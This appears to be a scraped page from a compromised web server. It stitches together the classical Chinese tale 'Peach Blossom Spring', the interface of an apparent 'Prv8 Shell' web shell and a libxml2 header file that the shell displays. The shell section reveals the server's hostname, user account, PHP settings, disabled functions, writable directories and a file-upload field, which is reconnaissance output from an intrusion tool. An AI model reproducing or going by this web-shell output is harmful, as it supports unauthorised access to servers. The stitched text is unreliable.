晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/opt/cpanel/ea-libxml2/include/libxml2/libxml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/opt/cpanel/ea-libxml2/include/libxml2/libxml/xmlschemas.h
/**
 * @file
 * 
 * @brief incomplete XML Schemas structure implementation
 * 
 * interface to the XML Schemas handling and schema validity
 *              checking, it is incomplete right now.
 *
 * @copyright See Copyright for the status of this software.
 *
 * @author Daniel Veillard
 */


#ifndef __XML_SCHEMA_H__
#define __XML_SCHEMA_H__

#include <libxml/xmlversion.h>

#ifdef LIBXML_SCHEMAS_ENABLED

#include <stdio.h>
#include <libxml/encoding.h>
#include <libxml/parser.h>
#include <libxml/tree.h>
#include <libxml/xmlerror.h>

#ifdef __cplusplus
extern "C" {
#endif

/**
 * This error codes are obsolete; not used any more.
 */
typedef enum {
    XML_SCHEMAS_ERR_OK		= 0,
    XML_SCHEMAS_ERR_NOROOT	= 1,
    XML_SCHEMAS_ERR_UNDECLAREDELEM,
    XML_SCHEMAS_ERR_NOTTOPLEVEL,
    XML_SCHEMAS_ERR_MISSING,
    XML_SCHEMAS_ERR_WRONGELEM,
    XML_SCHEMAS_ERR_NOTYPE,
    XML_SCHEMAS_ERR_NOROLLBACK,
    XML_SCHEMAS_ERR_ISABSTRACT,
    XML_SCHEMAS_ERR_NOTEMPTY,
    XML_SCHEMAS_ERR_ELEMCONT,
    XML_SCHEMAS_ERR_HAVEDEFAULT,
    XML_SCHEMAS_ERR_NOTNILLABLE,
    XML_SCHEMAS_ERR_EXTRACONTENT,
    XML_SCHEMAS_ERR_INVALIDATTR,
    XML_SCHEMAS_ERR_INVALIDELEM,
    XML_SCHEMAS_ERR_NOTDETERMINIST,
    XML_SCHEMAS_ERR_CONSTRUCT,
    XML_SCHEMAS_ERR_INTERNAL,
    XML_SCHEMAS_ERR_NOTSIMPLE,
    XML_SCHEMAS_ERR_ATTRUNKNOWN,
    XML_SCHEMAS_ERR_ATTRINVALID,
    XML_SCHEMAS_ERR_VALUE,
    XML_SCHEMAS_ERR_FACET,
    XML_SCHEMAS_ERR_,
    XML_SCHEMAS_ERR_XXX
} xmlSchemaValidError;

/*
* ATTENTION: Change xmlSchemaSetValidOptions's check
* for invalid values, if adding to the validation
* options below.
*/
/**
 * This is the set of XML Schema validation options.
 */
typedef enum {
    XML_SCHEMA_VAL_VC_I_CREATE			= 1<<0
	/* Default/fixed: create an attribute node
	* or an element's text node on the instance.
	*/
} xmlSchemaValidOption;

/*
    XML_SCHEMA_VAL_XSI_ASSEMBLE			= 1<<1,
	* assemble schemata using
	* xsi:schemaLocation and
	* xsi:noNamespaceSchemaLocation
*/

/** XML schema */
typedef struct _xmlSchema xmlSchema;
typedef xmlSchema *xmlSchemaPtr;

/**
 * Signature of an error callback from an XSD validation
 *
 * @param ctx  the validation context
 * @param msg  the message
 * @param ... extra arguments
 */
typedef void (*xmlSchemaValidityErrorFunc)
                 (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3);

/**
 * Signature of a warning callback from an XSD validation
 *
 * @param ctx  the validation context
 * @param msg  the message
 * @param ... extra arguments
 */
typedef void (*xmlSchemaValidityWarningFunc)
                 (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3);

/** Schema parser context */
typedef struct _xmlSchemaParserCtxt xmlSchemaParserCtxt;
typedef xmlSchemaParserCtxt *xmlSchemaParserCtxtPtr;

/** Schema validation context */
typedef struct _xmlSchemaValidCtxt xmlSchemaValidCtxt;
typedef xmlSchemaValidCtxt *xmlSchemaValidCtxtPtr;

/**
 * A schemas validation locator, a callback called by the validator.
 * This is used when file or node information are not available
 * to find out what file and line number are affected
 *
 * @param ctx  user provided context
 * @param file  returned file information
 * @param line  returned line information
 * @returns 0 in case of success and -1 in case of error
 */

typedef int (*xmlSchemaValidityLocatorFunc) (void *ctx,
                           const char **file, unsigned long *line);

/*
 * Interfaces for parsing.
 */
XMLPUBFUN xmlSchemaParserCtxt *
	    xmlSchemaNewParserCtxt	(const char *URL);
XMLPUBFUN xmlSchemaParserCtxt *
	    xmlSchemaNewMemParserCtxt	(const char *buffer,
					 int size);
XMLPUBFUN xmlSchemaParserCtxt *
	    xmlSchemaNewDocParserCtxt	(xmlDoc *doc);
XMLPUBFUN void
	    xmlSchemaFreeParserCtxt	(xmlSchemaParserCtxt *ctxt);
XMLPUBFUN void
	    xmlSchemaSetParserErrors	(xmlSchemaParserCtxt *ctxt,
					 xmlSchemaValidityErrorFunc err,
					 xmlSchemaValidityWarningFunc warn,
					 void *ctx);
XMLPUBFUN void
	    xmlSchemaSetParserStructuredErrors(xmlSchemaParserCtxt *ctxt,
					 xmlStructuredErrorFunc serror,
					 void *ctx);
XMLPUBFUN int
	    xmlSchemaGetParserErrors	(xmlSchemaParserCtxt *ctxt,
					xmlSchemaValidityErrorFunc * err,
					xmlSchemaValidityWarningFunc * warn,
					void **ctx);
XMLPUBFUN void
	    xmlSchemaSetResourceLoader	(xmlSchemaParserCtxt *ctxt,
					 xmlResourceLoader loader,
					 void *data);
XMLPUBFUN int
	    xmlSchemaIsValid		(xmlSchemaValidCtxt *ctxt);

XMLPUBFUN xmlSchema *
	    xmlSchemaParse		(xmlSchemaParserCtxt *ctxt);
XMLPUBFUN void
	    xmlSchemaFree		(xmlSchema *schema);
#ifdef LIBXML_DEBUG_ENABLED
XMLPUBFUN void
	    xmlSchemaDump		(FILE *output,
					 xmlSchema *schema);
#endif /* LIBXML_DEBUG_ENABLED */
/*
 * Interfaces for validating
 */
XMLPUBFUN void
	    xmlSchemaSetValidErrors	(xmlSchemaValidCtxt *ctxt,
					 xmlSchemaValidityErrorFunc err,
					 xmlSchemaValidityWarningFunc warn,
					 void *ctx);
XMLPUBFUN void
	    xmlSchemaSetValidStructuredErrors(xmlSchemaValidCtxt *ctxt,
					 xmlStructuredErrorFunc serror,
					 void *ctx);
XMLPUBFUN int
	    xmlSchemaGetValidErrors	(xmlSchemaValidCtxt *ctxt,
					 xmlSchemaValidityErrorFunc *err,
					 xmlSchemaValidityWarningFunc *warn,
					 void **ctx);
XMLPUBFUN int
	    xmlSchemaSetValidOptions	(xmlSchemaValidCtxt *ctxt,
					 int options);
XMLPUBFUN void
            xmlSchemaValidateSetFilename(xmlSchemaValidCtxt *vctxt,
	                                 const char *filename);
XMLPUBFUN int
	    xmlSchemaValidCtxtGetOptions(xmlSchemaValidCtxt *ctxt);

XMLPUBFUN xmlSchemaValidCtxt *
	    xmlSchemaNewValidCtxt	(xmlSchema *schema);
XMLPUBFUN void
	    xmlSchemaFreeValidCtxt	(xmlSchemaValidCtxt *ctxt);
XMLPUBFUN int
	    xmlSchemaValidateDoc	(xmlSchemaValidCtxt *ctxt,
					 xmlDoc *instance);
XMLPUBFUN int
            xmlSchemaValidateOneElement (xmlSchemaValidCtxt *ctxt,
			                 xmlNode *elem);
XMLPUBFUN int
	    xmlSchemaValidateStream	(xmlSchemaValidCtxt *ctxt,
					 xmlParserInputBuffer *input,
					 xmlCharEncoding enc,
					 const xmlSAXHandler *sax,
					 void *user_data);
XMLPUBFUN int
	    xmlSchemaValidateFile	(xmlSchemaValidCtxt *ctxt,
					 const char * filename,
					 int options);

XMLPUBFUN xmlParserCtxt *
	    xmlSchemaValidCtxtGetParserCtxt(xmlSchemaValidCtxt *ctxt);

/**
 * Interface to insert Schemas SAX validation in a SAX stream
 */
typedef struct _xmlSchemaSAXPlug xmlSchemaSAXPlugStruct;
typedef xmlSchemaSAXPlugStruct *xmlSchemaSAXPlugPtr;

XMLPUBFUN xmlSchemaSAXPlugStruct *
            xmlSchemaSAXPlug		(xmlSchemaValidCtxt *ctxt,
					 xmlSAXHandler **sax,
					 void **user_data);
XMLPUBFUN int
            xmlSchemaSAXUnplug		(xmlSchemaSAXPlugStruct *plug);


XMLPUBFUN void
            xmlSchemaValidateSetLocator	(xmlSchemaValidCtxt *vctxt,
					 xmlSchemaValidityLocatorFunc f,
					 void *ctxt);

#ifdef __cplusplus
}
#endif

#endif /* LIBXML_SCHEMAS_ENABLED */
#endif /* __XML_SCHEMA_H__ */

haha - 2025